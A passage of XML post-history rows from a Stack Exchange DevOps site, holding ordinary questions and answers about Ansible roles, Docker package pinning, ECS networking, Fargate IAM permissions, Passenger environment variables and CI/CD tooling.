  <row Id="31592" PostHistoryTypeId="2" PostId="10331" RevisionGUID="b568fe08-0f28-4f87-a2b6-28afd24a632f" CreationDate="2019-12-28T04:24:35.483" UserId="8858" Text="What you are looking for is the `meta/main.yml` in the roles of Ansible.&#xD;&#xA;&#xD;&#xA;So make your every `playbook` (the ones you want to run after a task/role) as a `role` itself (to make it secondary execution) and what ever task/role you want to run before it should be added to the `meta/main.yml` of all the secondary execution roles. This would make all your roles execute the role mentioned in `meta/main.yml`" ContentLicense="CC BY-SA 4.0" />
  <row Id="31596" PostHistoryTypeId="2" PostId="10332" RevisionGUID="487468a1-2deb-443e-a4c9-0e941dca6f92" CreationDate="2019-12-28T16:20:21.073" UserId="12728" Text="The goal can be achieved via several solutions. We can use service with **awsvpc** as network mode, so your service can get a real &quot;**A**&quot; **DNS** recorde and ENI interface, you must pay attention with this solution, ec2 instances has a limited number of ENI that can be attached, for a micro or small I think max 3.&#xD;&#xA;&#xD;&#xA;Other solution more flexible is to use an internal **NLB** or custom proxy like **HAproxy** as **ambassador**, you run the proxy as service with awsvpc so he can get his &quot;**A**&quot; **DNS** recorde eg **proxy.prod**, all other services like Redis, Mongo, Elasticsearch ... can be configured as service with bridge networking mode so they will get an **SRV** recorde if configured with service discovery.&#xD;&#xA;&#xD;&#xA;Finally you have to configure your proxy to redirect all traffic to desired service using port forwarding. **HAproxy** can resolve &quot;**SRV**&quot; recordes so you don't have to deal with that **HAproxy** will do it for you, you must just configure your app to use **proxy.prod** + port, for each service so:&#xD;&#xA;&#xD;&#xA;- *Redis* **proxy.prod:6379**&#xD;&#xA;- *Mongo* **proxy.prod:27017**&#xD;&#xA;- And so on...&#xD;&#xA;&#xD;&#xA;Using this technique you can do a lot of amazing things, no matter where your proxy can lives, it can run as container in the same node with your apps or on a **Fargate** or in another node ...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31622" PostHistoryTypeId="34" PostId="1992" RevisionGUID="0729c255-122f-4243-a7da-2bf265c7c2a6" CreationDate="2019-12-29T09:56:26.037" UserId="60" Comment="46" />
  <row Id="31623" PostHistoryTypeId="34" PostId="1866" RevisionGUID="2b96781e-e040-4265-9b97-22a58fbad74a" CreationDate="2019-12-29T09:57:00.790" UserId="60" Comment="47" />
  <row Id="31624" PostHistoryTypeId="2" PostId="10333" RevisionGUID="3e6bf43d-0417-455d-93b3-a0bf83e890d1" CreationDate="2019-12-29T12:45:06.007" UserId="10550" Text="**Scenario**&#xD;&#xA;&#xD;&#xA;For obvious reasons, I believe that every packages installed in Docker image should have their versions nailed down.&#xD;&#xA;&#xD;&#xA;That's why, in our `Dockerfile`, we always enforce os package manager to install a specific version of a package.&#xD;&#xA;&#xD;&#xA;ex:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;FROM node:6.10.0&#xD;&#xA;&#xD;&#xA;RUN apt-get update \&#xD;&#xA;      &amp;&amp; apt-get -y install nginx=1.6.2-5+deb8u6 \&#xD;&#xA;      &amp;&amp; apt-get -y install supervisor=3.0r1-1+deb8u1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Problem**&#xD;&#xA;&#xD;&#xA;upstream repository changes and render `nginx=1.6.2-5+deb8u6` invalid. &#xD;&#xA;&#xD;&#xA;I'm not sure what brings about this change but I think it has something to do with distros going out of their support-cycle or that old packages are removed/moved somewhere else. &#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How do I nail the exact version of os-leveled packages without running into this problem?&#xD;&#xA;&#xD;&#xA;*Note*: I know these 2 options will work but I want to know if there's an easier way out:&#xD;&#xA;&#xD;&#xA;1. Make a custom base image&#xD;&#xA;2. Download the binaries and `COPY` them into the Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="31625" PostHistoryTypeId="1" PostId="10333" RevisionGUID="3e6bf43d-0417-455d-93b3-a0bf83e890d1" CreationDate="2019-12-29T12:45:06.007" UserId="10550" Text="How to nail os package version in Docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="31626" PostHistoryTypeId="3" PostId="10333" RevisionGUID="3e6bf43d-0417-455d-93b3-a0bf83e890d1" CreationDate="2019-12-29T12:45:06.007" UserId="10550" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31707" PostHistoryTypeId="2" PostId="10335" RevisionGUID="fef2c1c8-a6cf-4f97-b020-2a15fc2ca0bb" CreationDate="2019-12-30T04:31:08.443" UserId="17622" Text="I have to reinstall the Jenkins 2-3 time and it starts working, but at an initial level still, I am not able to install suggested plugins. I have setup Jenkins first and then installed all the plugins manually." ContentLicense="CC BY-SA 4.0" />
  <row Id="31711" PostHistoryTypeId="50" PostId="8790" RevisionGUID="85c4f8e9-f248-4711-a49f-cbf3dc7e1370" CreationDate="2019-12-30T11:01:20.143" UserId="-1" />
  <row Id="31712" PostHistoryTypeId="5" PostId="10332" RevisionGUID="e0f65e44-3e42-4163-9a5d-90c10ac88fff" CreationDate="2019-12-30T13:53:56.103" UserId="12728" Comment="deleted 4 characters in body" Text="The goal can be achieved via several solutions. We can use service with **awsvpc** as network mode, so your service can get a real &quot;**A**&quot; **DNS** record and ENI interface, you must pay attention with this solution, ec2 instances has a limited number of ENI that can be attached, for a micro or small I think max 3.&#xD;&#xA;&#xD;&#xA;Other solution more flexible is to use an internal **NLB** or custom proxy like **HAproxy** as **ambassador**, you run the proxy as service with awsvpc so he can get his &quot;**A**&quot; **DNS** record eg **proxy.prod**, all other services like Redis, Mongo, Elasticsearch ... can be configured as service with bridge networking mode so they will get an **SRV** record if configured with service discovery.&#xD;&#xA;&#xD;&#xA;Finally you have to configure your proxy to redirect all traffic to desired service using port forwarding. **HAproxy** can resolve &quot;**SRV**&quot; records so you don't have to deal with that **HAproxy** will do it for you, you must just configure your app to use **proxy.prod** + port, for each service so:&#xD;&#xA;&#xD;&#xA;- *Redis* **proxy.prod:6379**&#xD;&#xA;- *Mongo* **proxy.prod:27017**&#xD;&#xA;- And so on...&#xD;&#xA;&#xD;&#xA;Using this technique you can do a lot of amazing things, no matter where your proxy can lives, it can run as container in the same node with your apps or on a **Fargate** or in another node ...&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31713" PostHistoryTypeId="2" PostId="10337" RevisionGUID="5ee29928-54c9-410f-b221-406f2099e1e0" CreationDate="2019-12-30T14:51:04.757" UserId="15792" Text="I'm not sure that this qualifies as an &quot;easier&quot; way, but you could host the specific packages on a server (e.g., [Artifactory][1], [S3][2]).  You would then have the Dockerfile connect to this location and use the packages from there.&#xD;&#xA;&#xD;&#xA;This would allow you to avoid creating a custom base image and you would not have to manually download the packages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jfrog.com/artifactory/&#xD;&#xA;  [2]: https://docs.docker.com/registry/storage-drivers/s3/" ContentLicense="CC BY-SA 4.0" />
  <row Id="31721" PostHistoryTypeId="2" PostId="10340" RevisionGUID="45abf8a0-8b62-481d-886e-51250bca85ae" CreationDate="2019-12-30T20:29:32.343" UserId="18866" Text="Check out a book called 'Team of Teams' by General Stanley McChrystal.  This is how the military operates today and is really all about putting the power to make decisions into the hands of the people on the ground and out of the hands of senior military leadership.  It is not my typical read but is really a fantastic book that dives into not only military scenarios/examples but also areas such as the airline industry and how they have managed to dramatically reduce air crashes over the last decade caused by human error &#xD;&#xA;(the recent Boeing disasters aside).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31722" PostHistoryTypeId="5" PostId="9705" RevisionGUID="ba28ae6a-3909-4fe3-9bd2-fabeb40538be" CreationDate="2019-12-30T20:48:30.457" UserId="4462" Comment="Added update for upgrading to 2.138" Text="I have Jenkins `2.89` installed with many outdated plugins as well. What is the best path for upgrading both the plugins and Jenkins itself? Should one proceed the other?&#xD;&#xA;&#xD;&#xA;I am leaning toward upgrading the plugins first and in batches to limit the risk. The system is being backed up in its entirety in case things go sideways. I would like to avoid that if at all possible though.&#xD;&#xA;&#xD;&#xA;Update: I was able to upgrade to 2.138 without it breaking anything." ContentLicense="CC BY-SA 4.0" />
  <row Id="31723" PostHistoryTypeId="2" PostId="10341" RevisionGUID="fd7b6fbb-a0d9-44b8-82fc-1e32ff397c46" CreationDate="2019-12-30T20:59:28.430" UserId="18486" Text="I'm trying to create some infrastructure for a service I am building on AWS using AWS Fargate.  I'm using SSM as a value store for some of my application configuration, so I need both the regular permissions for Fargate as well as additional permissions for SSM.  However, after banging my head against this particular wall for a while, I've come to the conclusion that I just don't understand AWS IAM in general or this problem in particular, so I'm here for help.&#xD;&#xA;&#xD;&#xA;The basis of my IAM code comes from [this tutorial][1]; the IAM code is actually not in that tutorial but rather in [this file][2] in the github repo linked to that tutorial.  I presume I need to retain that STS permission for something although I'm not entirely sure what.&#xD;&#xA;&#xD;&#xA;I've converted the IAM code from the tutorial into a JSON document because I find JSON easier to work with than the Terraform native thing.  Here's what I've come up with.  It doesn't work.  I would like to know why it doesn't work and how to fix it.  Please ELI5 (explain like I'm 5 years old) because I know nothing about this.&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;  &quot;Statement&quot;: [&#xD;&#xA;    {&#xD;&#xA;      &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;      &quot;Action&quot;: [&#xD;&#xA;        &quot;ssm:GetParameters&quot;,&#xD;&#xA;        &quot;secretsmanager:GetSecretValue&quot;,&#xD;&#xA;        &quot;kms:Decrypt&quot;,&#xD;&#xA;        &quot;sts:AssumeRole&quot;&#xD;&#xA;      ],&#xD;&#xA;      &quot;Principal&quot;: {&#xD;&#xA;        &quot;Service&quot;: [&quot;ecs-tasks.amazonaws.com&quot;]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://medium.com/@bradford_hamilton/deploying-containers-on-amazons-ecs-using-fargate-and-terraform-part-2-2e6f6a3a957f&#xD;&#xA;  [2]: https://github.com/bradford-hamilton/terraform-ecs-fargate/blob/master/terraform/roles.tf" ContentLicense="CC BY-SA 4.0" />
  <row Id="31724" PostHistoryTypeId="1" PostId="10341" RevisionGUID="fd7b6fbb-a0d9-44b8-82fc-1e32ff397c46" CreationDate="2019-12-30T20:59:28.430" UserId="18486" Text="AWS permissions for Fargate and SSM" ContentLicense="CC BY-SA 4.0" />
  <row Id="31725" PostHistoryTypeId="3" PostId="10341" RevisionGUID="fd7b6fbb-a0d9-44b8-82fc-1e32ff397c46" CreationDate="2019-12-30T20:59:28.430" UserId="18486" Text="&lt;amazon-web-services&gt;&lt;aws-iam&gt;&lt;fargate&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31726" PostHistoryTypeId="5" PostId="10340" RevisionGUID="7a819301-1b7d-463f-a82f-3da5dacced9a" CreationDate="2019-12-30T21:11:16.603" UserId="739" Comment="italicize book title" Text="Check out a book called *Team of Teams* by General Stanley McChrystal.  This is how the military operates today and is really all about putting the power to make decisions into the hands of the people on the ground and out of the hands of senior military leadership.  It is not my typical read but is really a fantastic book that dives into not only military scenarios/examples but also areas such as the airline industry and how they have managed to dramatically reduce air crashes over the last decade caused by human error &#xD;&#xA;(the recent Boeing disasters aside).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31728" PostHistoryTypeId="2" PostId="10342" RevisionGUID="8fccb4fb-f112-4a07-9cbe-8f69509dbbea" CreationDate="2019-12-30T22:16:13.233" UserId="8800" Text="IAM Role for Fargate has **two policies**:&#xD;&#xA;&#xD;&#xA;1. The first one describes which service can assume the role and its permissions. In this case it will be the `ecs-tasks.amazonaws.com` service (= Fargate) that can call `sts:AssumeRole` to get all the permissions from this Role.&#xD;&#xA;&#xD;&#xA;2. When Fargate *assumes* the role it gets the permissions specified within, these are the SSM, KMS and SecretsManager permissions.&#xD;&#xA;&#xD;&#xA;If you are using CloudFormation you can do something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  FargateRole:&#xD;&#xA;    Type: AWS::IAM::Role&#xD;&#xA;    Properties:&#xD;&#xA;      AssumeRolePolicyDocument:&#xD;&#xA;        # This says that Fargate can assume this role&#xD;&#xA;        Version: '2012-10-17'&#xD;&#xA;        Statement:&#xD;&#xA;        - Action: sts:AssumeRole&#xD;&#xA;          Effect: Allow&#xD;&#xA;          Principal:&#xD;&#xA;            Service: ecs-tasks.amazonaws.com&#xD;&#xA;      Path: /&#xD;&#xA;      Policies:&#xD;&#xA;      - PolicyName: FargatePermissions&#xD;&#xA;        PolicyDocument:&#xD;&#xA;          # This says what permissions will &#xD;&#xA;          # the Fargate container receive&#xD;&#xA;          Statement:&#xD;&#xA;          - Action:&#xD;&#xA;            - ssm:GetParameters&#xD;&#xA;            - secretsmanager:GetSecretValue&#xD;&#xA;            - kms:Decrypt&#xD;&#xA;            Effect: Allow&#xD;&#xA;            Resource: '*'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you are building the role manually in the console be sure to select in the first step that it's an *IAM Role* for *ECS Task*, that will create the equivalent of `AssumeRolePolicyDocument` from the above code snippet.&#xD;&#xA;&#xD;&#xA;[![IAM Role Configuration][1]][1]&#xD;&#xA;&#xD;&#xA;Then in the next step add the policy *without* the `sts:AssumeRole`:&#xD;&#xA;&#xD;&#xA;```json&#xD;&#xA;{&#xD;&#xA;    &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;    &quot;Statement&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Action&quot;: [&#xD;&#xA;                &quot;secretsmanager:GetSecretValue&quot;,&#xD;&#xA;                &quot;ssm:GetParameters&quot;,&#xD;&#xA;                &quot;kms:Decrypt&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;Resource&quot;: &quot;*&quot;&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;That should create the IAM Role you need. Ideally you should also restrict the access only to specific resources instead of using `&quot;Resource&quot;: &quot;*&quot;` but for start it's easier to just use the wildcard.&#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/3NSJT.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31729" PostHistoryTypeId="2" PostId="10343" RevisionGUID="6daf9316-618b-4d9f-a84b-6d08fe02cd2d" CreationDate="2019-12-30T22:37:59.807" UserId="18869" Text="I'm writing Ansible playbooks to provision an Ubuntu 18.04 server.&#xD;&#xA;&#xD;&#xA;I want to provision the server for a Rails application using Passenger and Nginx. I used [geerlingguy.passenger][1] from Ansible Galaxy to configure Passenger and Nginx. &#xD;&#xA;&#xD;&#xA;In addition, I used [zzet.rbenv][2] to install ruby 2.5.3.&#xD;&#xA;&#xD;&#xA;The Ansible playbooks seem to have executed correctly, and when I log into the server via SSH, everything seems to be working (rbenv is on the path, `RAILS_MASTER_KEY` environment variable is defined).&#xD;&#xA;&#xD;&#xA;Deployment of my application via Capistrano also appears to run successfully.&#xD;&#xA;&#xD;&#xA;However, when I attempt to visit the landing page, I get a Passenger error: &quot;Web application could not be started by the Phusion Passenger application server.&quot;&#xD;&#xA;&#xD;&#xA;Looking in `/var/log/nginx/error.log`, I see:&#xD;&#xA;&#xD;&#xA;    Missing encryption key to decrypt file with. Ask your team for your master key and write it to /var/www/releases/20191230212823/config/master.key or put it in the ENV['RAILS_MASTER_KEY'].&#xD;&#xA;&#xD;&#xA;I'm not sure why the above error is happening, because I've already configured a persistent environment variable using the [weareinteractive.environment][3] role.&#xD;&#xA;&#xD;&#xA;Inspecting /etc/environment confirms that RAILS_MASTER_KEY is defined, and I can see if it I log in manually as my 'deploy' user. However, `/etc/nginx/nginx.conf` shows that the default user is `www-data`:&#xD;&#xA;&#xD;&#xA;    user www-data;&#xD;&#xA;&#xD;&#xA;I think this should be fine, because the environment variables are configured in a way that is not associated with a user account. So, why can't Passenger see RAILS_MASTER_KEY?&#xD;&#xA;&#xD;&#xA;  [1]: https://galaxy.ansible.com/geerlingguy/passenger&#xD;&#xA;  [2]: https://galaxy.ansible.com/zzet/rbenv&#xD;&#xA;  [3]: https://galaxy.ansible.com/weareinteractive/environment&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31730" PostHistoryTypeId="1" PostId="10343" RevisionGUID="6daf9316-618b-4d9f-a84b-6d08fe02cd2d" CreationDate="2019-12-30T22:37:59.807" UserId="18869" Text="Why is my Nginx/Passenger installation (via Ansible) unable to see my RAILS_MASTER_KEY environment variable?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31731" PostHistoryTypeId="3" PostId="10343" RevisionGUID="6daf9316-618b-4d9f-a84b-6d08fe02cd2d" CreationDate="2019-12-30T22:37:59.807" UserId="18869" Text="&lt;ansible&gt;&lt;nginx&gt;&lt;environment-variables&gt;&lt;ruby-on-rails&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31732" PostHistoryTypeId="5" PostId="10343" RevisionGUID="bf822335-c5b2-41ab-8b43-2079ea1e3d50" CreationDate="2019-12-30T23:01:28.427" UserId="18869" Comment="Clarify that it's a Rails issue, not a Passenger issue" Text="I'm writing Ansible playbooks to provision an Ubuntu 18.04 server.&#xD;&#xA;&#xD;&#xA;I want to provision the server for a Rails application using Passenger and Nginx. I used [geerlingguy.passenger][1] from Ansible Galaxy to configure Passenger and Nginx. &#xD;&#xA;&#xD;&#xA;In addition, I used [zzet.rbenv][2] to install ruby 2.5.3.&#xD;&#xA;&#xD;&#xA;The Ansible playbooks seem to have executed correctly, and when I log into the server via SSH, everything seems to be working (rbenv is on the path, `RAILS_MASTER_KEY` environment variable is defined).&#xD;&#xA;&#xD;&#xA;Deployment of my application via Capistrano also appears to run successfully.&#xD;&#xA;&#xD;&#xA;However, when I attempt to visit the landing page, I get a Passenger error: &quot;Web application could not be started by the Phusion Passenger application server.&quot;&#xD;&#xA;&#xD;&#xA;Looking in `/var/log/nginx/error.log`, I see:&#xD;&#xA;&#xD;&#xA;    Missing encryption key to decrypt file with. Ask your team for your master key and write it to /var/www/releases/20191230212823/config/master.key or put it in the ENV['RAILS_MASTER_KEY'].&#xD;&#xA;&#xD;&#xA;I'm not sure why the above error is happening, because I've already configured a persistent environment variable using the [weareinteractive.environment][3] role.&#xD;&#xA;&#xD;&#xA;Inspecting /etc/environment confirms that RAILS_MASTER_KEY is defined, and I can see if it I log in manually as my 'deploy' user. However, `/etc/nginx/nginx.conf` shows that the default user is `www-data`:&#xD;&#xA;&#xD;&#xA;    user www-data;&#xD;&#xA;&#xD;&#xA;I think this should be fine, because the environment variables are configured in a way that is not associated with a user account. So, why does Rails fail to see this environment variable even though I see it when I log in via SSH?&#xD;&#xA;&#xD;&#xA;  [1]: https://galaxy.ansible.com/geerlingguy/passenger&#xD;&#xA;  [2]: https://galaxy.ansible.com/zzet/rbenv&#xD;&#xA;  [3]: https://galaxy.ansible.com/weareinteractive/environment&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31733" PostHistoryTypeId="4" PostId="10343" RevisionGUID="38979916-1e9a-46b0-b80b-e65bb4c99a90" CreationDate="2019-12-30T23:10:26.440" UserId="18869" Comment="edited title" Text="Why is Rails (with Nginx/Passenger via Ansible) unable to see my RAILS_MASTER_KEY environment variable?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31734" PostHistoryTypeId="5" PostId="10343" RevisionGUID="af346f0c-45d4-448c-8203-52f406134f07" CreationDate="2019-12-30T23:25:32.197" UserId="18869" Comment="Adding more information" Text="I'm writing Ansible playbooks to provision an Ubuntu 18.04 server.&#xD;&#xA;&#xD;&#xA;I want to provision the server for a Rails application using Passenger and Nginx. I used [geerlingguy.passenger][1] from Ansible Galaxy to configure Passenger and Nginx. &#xD;&#xA;&#xD;&#xA;In addition, I used [zzet.rbenv][2] to install ruby 2.5.3.&#xD;&#xA;&#xD;&#xA;The Ansible playbooks seem to have executed correctly, and when I log into the server via SSH, everything seems to be working (rbenv is on the path, `RAILS_MASTER_KEY` environment variable is defined).&#xD;&#xA;&#xD;&#xA;Deployment of my application via Capistrano also appears to run successfully.&#xD;&#xA;&#xD;&#xA;However, when I attempt to visit the landing page, I get a Passenger error: &quot;Web application could not be started by the Phusion Passenger application server.&quot;&#xD;&#xA;&#xD;&#xA;Looking in `/var/log/nginx/error.log`, I see:&#xD;&#xA;&#xD;&#xA;    Missing encryption key to decrypt file with. Ask your team for your master key and write it to /var/www/releases/20191230212823/config/master.key or put it in the ENV['RAILS_MASTER_KEY'].&#xD;&#xA;&#xD;&#xA;I'm not sure why the above error is happening, because I've already configured a persistent environment variable using the [weareinteractive.environment][3] role.&#xD;&#xA;&#xD;&#xA;Inspecting /etc/environment confirms that RAILS_MASTER_KEY is defined, and I can see if it I log in manually as my 'deploy' user. However, `/etc/nginx/nginx.conf` shows that the default user is `www-data`:&#xD;&#xA;&#xD;&#xA;    user www-data;&#xD;&#xA;&#xD;&#xA;I think this should be fine, because the environment variables are configured in a way that is not associated with a user account. So, why does Rails fail to see this environment variable even though I see it when I log in via SSH?&#xD;&#xA;&#xD;&#xA;I'm able to execute the following command on the server and see the contents of the encrypted credentials file:&#xD;&#xA;&#xD;&#xA;    RAILS_ENV=production EDITOR=vim bundle exec rails credentials:edit&#xD;&#xA;&#xD;&#xA;So what is going wrong when Nginx/Passenger launch Rails? &#xD;&#xA;&#xD;&#xA;  [1]: https://galaxy.ansible.com/geerlingguy/passenger&#xD;&#xA;  [2]: https://galaxy.ansible.com/zzet/rbenv&#xD;&#xA;  [3]: https://galaxy.ansible.com/weareinteractive/environment&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31735" PostHistoryTypeId="5" PostId="10343" RevisionGUID="c372e6f2-642c-4ed4-88e6-eb3883f3ac27" CreationDate="2019-12-31T00:14:10.673" UserId="18869" Comment="added 243 characters in body" Text="I'm writing Ansible playbooks to provision an Ubuntu 18.04 server.&#xD;&#xA;&#xD;&#xA;I want to provision the server for a Rails application using Passenger and Nginx. I used [geerlingguy.passenger][1] from Ansible Galaxy to configure Passenger and Nginx. &#xD;&#xA;&#xD;&#xA;In addition, I used [zzet.rbenv][2] to install ruby 2.5.3.&#xD;&#xA;&#xD;&#xA;The Ansible playbooks seem to have executed correctly, and when I log into the server via SSH, everything seems to be working (rbenv is on the path, `RAILS_MASTER_KEY` environment variable is defined).&#xD;&#xA;&#xD;&#xA;Deployment of my application via Capistrano also appears to run successfully.&#xD;&#xA;&#xD;&#xA;However, when I attempt to visit the landing page, I get a Passenger error: &quot;Web application could not be started by the Phusion Passenger application server.&quot;&#xD;&#xA;&#xD;&#xA;Looking in `/var/log/nginx/error.log`, I see:&#xD;&#xA;&#xD;&#xA;    Missing encryption key to decrypt file with. Ask your team for your master key and write it to /var/www/releases/20191230212823/config/master.key or put it in the ENV['RAILS_MASTER_KEY'].&#xD;&#xA;&#xD;&#xA;I'm not sure why the above error is happening, because I've already configured a persistent environment variable using the [weareinteractive.environment][3] role.&#xD;&#xA;&#xD;&#xA;Inspecting /etc/environment confirms that RAILS_MASTER_KEY is defined, and I can see if it I log in manually as my 'deploy' user. However, `/etc/nginx/nginx.conf` shows that the default user is `www-data`:&#xD;&#xA;&#xD;&#xA;    user www-data;&#xD;&#xA;&#xD;&#xA;I think this should be fine, because the environment variables are configured in a way that is not associated with a user account. So, why does Rails fail to see this environment variable even though I see it when I log in via SSH?&#xD;&#xA;&#xD;&#xA;I'm able to execute the following command on the server and see the contents of the encrypted credentials file:&#xD;&#xA;&#xD;&#xA;    RAILS_ENV=production EDITOR=vim bundle exec rails credentials:edit&#xD;&#xA;&#xD;&#xA;So what is going wrong when Nginx/Passenger launch Rails? &#xD;&#xA;&#xD;&#xA;Edit: It seems like Passenger/Nginx do not load environment variables from /etc/environment, which mostly explains my problem. I'm trying to figure out the appropriate way to configure environment variables for Passenger using Ansible now.&#xD;&#xA;&#xD;&#xA;  [1]: https://galaxy.ansible.com/geerlingguy/passenger&#xD;&#xA;  [2]: https://galaxy.ansible.com/zzet/rbenv&#xD;&#xA;  [3]: https://galaxy.ansible.com/weareinteractive/environment&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31736" PostHistoryTypeId="2" PostId="10344" RevisionGUID="642de892-811b-48d1-8026-e2aafb996272" CreationDate="2019-12-31T00:48:37.897" UserId="18869" Text="Root cause: environment variables from `/etc/environment` are not passed to Passenger. The standard method seems to be [passenger_env_var][1] in your nginx config as suggested by user **joshaidan**.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/10080656/where-to-put-environment-variables-when-using-nginx-and-passenger-on-ubuntu/10080827" ContentLicense="CC BY-SA 4.0" />
  <row Id="31737" PostHistoryTypeId="2" PostId="10345" RevisionGUID="4173017e-e31b-4682-80af-a11ad8d5a5a8" CreationDate="2019-12-31T01:33:50.447" UserId="11221" Text="I have a Spinnaker pipeline which I am trying to add an automated trigger from an ECR repo. Spinnaker lets me add the docker registry as per the following spinnaker [doc link][1], however I am unable to select an image when setting up the trigger. I've looked around on google and came up short of others having this issue. The closest I found was someone who lost it after an upgrade on a pretty old version. &#xD;&#xA;&#xD;&#xA;TDLR: Can't see docker image/repo when adding automated trigger on an ECR repo &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.spinnaker.io/setup/install/providers/docker-registry/#amazon-elastic-container-registry-ecr" ContentLicense="CC BY-SA 4.0" />
  <row Id="31738" PostHistoryTypeId="1" PostId="10345" RevisionGUID="4173017e-e31b-4682-80af-a11ad8d5a5a8" CreationDate="2019-12-31T01:33:50.447" UserId="11221" Text="Spinnaker not showing images in pipeline trigger" ContentLicense="CC BY-SA 4.0" />
  <row Id="31739" PostHistoryTypeId="3" PostId="10345" RevisionGUID="4173017e-e31b-4682-80af-a11ad8d5a5a8" CreationDate="2019-12-31T01:33:50.447" UserId="11221" Text="&lt;docker&gt;&lt;cicd&gt;&lt;aws-ecr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31740" PostHistoryTypeId="2" PostId="10346" RevisionGUID="a1b3cb6d-421d-469f-9a35-958418707f80" CreationDate="2019-12-31T03:48:17.513" UserId="18459" Text="Is it possible to force the TransformOnBuild to false using MSBuild parameters in Azure DevOps?&#xD;&#xA;&#xD;&#xA;So I Use Azure DevOps Pipeline to build a clickOnce application for a staging environment&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Here is my MSBuild Arguments&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/target:publish /p:ApplicationVersion=$(Build.BuildNumber) /p:InstallURL=http://app-staging.example.com/ /p:PublishURL=http://app-staging.example.com/ /p:UpdateEnabled=true  /p:UpdateMode=Foreground  /p:ProductName=&quot;App Staging&quot; /p:OutputPath=&quot;$(build.ArtifactStagingDirectory)\Publish\\&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Is it possible to force to false or true the App.config transformation with arguments?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/AC6ck.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="31741" PostHistoryTypeId="1" PostId="10346" RevisionGUID="a1b3cb6d-421d-469f-9a35-958418707f80" CreationDate="2019-12-31T03:48:17.513" UserId="18459" Text="Is it possible to force to false or true the App.config transformation with arguments on Azure DevOps Pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="31742" PostHistoryTypeId="3" PostId="10346" RevisionGUID="a1b3cb6d-421d-469f-9a35-958418707f80" CreationDate="2019-12-31T03:48:17.513" UserId="18459" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="31752" PostHistoryTypeId="2" PostId="10349" RevisionGUID="b457d06c-0f61-4086-a283-5ad211dde7d5" CreationDate="2019-12-31T14:21:52.257" UserId="12267" Text="&#xD;&#xA;&#xD;&#xA;I have a private docker registry in k8 in the default namespace with `tls` at `https://docker-registry.default:5000`. By doing local port forwarding to it(at port 5000) and adding `docker-registry.default` to my `/etc/hosts` file, I have been able to pull and push images to it.&#xD;&#xA;&#xD;&#xA;However, I'm using a serverless framework(Nuclio) which manages the deploy for me. &#xD;&#xA;The error I get is: &#xD;&#xA;```&#xD;&#xA;Normal   Scheduled  7m52s                   default-scheduler                                       Successfully assigned nuclio/helloworld1-96876fcf9-7c87w to gke-your-first-cluster-1-pool-1-fe915942-gnkx&#xD;&#xA;  Normal   Pulling    6m14s (x4 over 7m51s)   kubelet, gke-your-first-cluster-1-pool-1-fe915942-gnkx  Pulling image &quot;docker-registry.default:5000/docker/nuclio/processor-helloworld1:latest&quot;&#xD;&#xA;  Warning  Failed     6m14s (x4 over 7m51s)   kubelet, gke-your-first-cluster-1-pool-1-fe915942-gnkx  Failed to pull image &quot;docker-registry.default:5000/docker/nuclio/processor-helloworld1:latest&quot;: rpc error: code = Unknown desc = Error response from daemon: Get https://docker-registry.default:5000/v2/: dial tcp: lookup docker-registry.default on 169.254.169.254:53: no such host&#xD;&#xA;  Warning  Failed     6m14s (x4 over 7m51s)   kubelet, gke-your-first-cluster-1-pool-1-fe915942-gnkx  Error: ErrImagePull&#xD;&#xA;  Normal   BackOff    6m2s (x6 over 7m51s)    kubelet, gke-your-first-cluster-1-pool-1-fe915942-gnkx  Back-off pulling image &quot;docker-registry.default:5000/docker/nuclio/processor-helloworld1:latest&quot;&#xD;&#xA;  Warning  Failed     